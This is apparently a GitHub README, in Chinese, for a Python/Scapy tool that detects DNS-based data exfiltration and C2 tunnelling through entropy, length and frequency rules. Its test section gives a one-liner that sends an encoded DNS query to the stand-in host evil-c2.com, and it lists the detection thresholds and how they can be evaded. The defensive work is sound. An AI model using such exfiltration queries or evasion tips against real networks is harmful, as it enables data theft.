ymakhtedarintes/dns-exfiltration-detector
GitHub: ymakhtedarintes/dns-exfiltration-detector
Stars: 0 | Forks: 0
# DNS 渗透检测器
一款实时网络监控工具,利用香农熵分析和行为检测规则,检测基于 DNS 的数据渗透
和 C2 隧道尝试。
## 什么是 DNS 渗透?
攻击者可以通过将窃取的数据隐藏在 DNS 查询中,将其偷运出网络。
不像查询 `mail.google.com` 这样的域名,而是使用像 iodine 这样的工具将
数据编码进子域名 —— 例如 `aGVsbG9teW5hbWU.evil-c2.com`。大多数防火墙默认允许 DNS
流量通过,使其成为现实世界攻击和 APT 活动中常用的渗透技术。
## 检测器如何工作
该工具使用 Scapy 捕获实时 DNS 流量,并通过三条检测规则对每个查询进行分析:
1. **熵值评分** — 使用香农熵测量子域名的随机性。正常域名得分较低(~1.5)。Base64 或十六进制编码的 payload
得分较高(3.8+)。
2. **子域名长度** — 标记超过 52 个字符的子域名,因为合法
服务很少需要那么长的子域名。
3. **查询频率** — 当同一基础域名在 60 秒内收到超过
20 个查询时进行标记,这是工具将
数据分块跨多个查询传输的特征。
仅触发单一规则不足以引发警报。该工具要求至少
同时触发两条规则,或者熵值得分高于 4.0,才会
将流量归类为可疑。这是为了减少来自 CDN 和广告网络流量的误报而特意设计的,因为它们自然
会产生高熵子域名。
警报会写入日志文件,并在实时 Dash 仪表板上可视化显示,展示随时间变化的熵值得分和可排序的警报表。
## 演示

## 设置
```
git clone https://github.com/ymakhtedarintes/dns-exfiltration-detector
cd dns-exfiltration-detector
pip3 install scapy dash pandas
```
运行检测器(数据包捕获需要 root 权限):
```
sudo python3 detector.py
```
在第二个终端中运行仪表板:
```
python3 dashboard.py
```
在浏览器中打开 `http://localhost:8050`。
## 模拟攻击
要在没有真实恶意流量的情况下测试检测功能,可以构造一个带有
高熵子域名的 DNS 查询:
```
sudo python3 -c "
from scapy.all import *
send(IP(dst='8.8.8.8')/UDP(dport=53)/DNS(rd=1,qd=DNSQR(qname='aGVsbG9teW5hbWVpc3lhc2g.evil-c2.com')))
"
```
检测器将在几秒钟内将其标记为 CRITICAL(严重)。
## 已知局限性
- 单纯的熵值评分在公共互联网
流量上会产生过多误报。相关的多规则方法减少了这种情况,但并未完全
消除。
- 知道频率阈值的攻击者可以降低其查询速率以
规避检测。
- 白名单涵盖了常见的 CDN 和广告域名,但对于
不太常见的服务需要手动更新。
## 技术栈
Python, Scapy, Dash, Plotly, Pandas
标签:AMSI绕过, APT 防护, C2 隧道检测, Dash, DNS 安全, DNS枚举, GUI应用, IP 地址批量处理, Python, Scapy, 命令与控制, 威胁检测, 异常检测, 数据渗漏检测, 数据防泄露, 无后门, 渗透测试防御, 网络安全工具, 网络流量分析, 逆向工具, 香农熵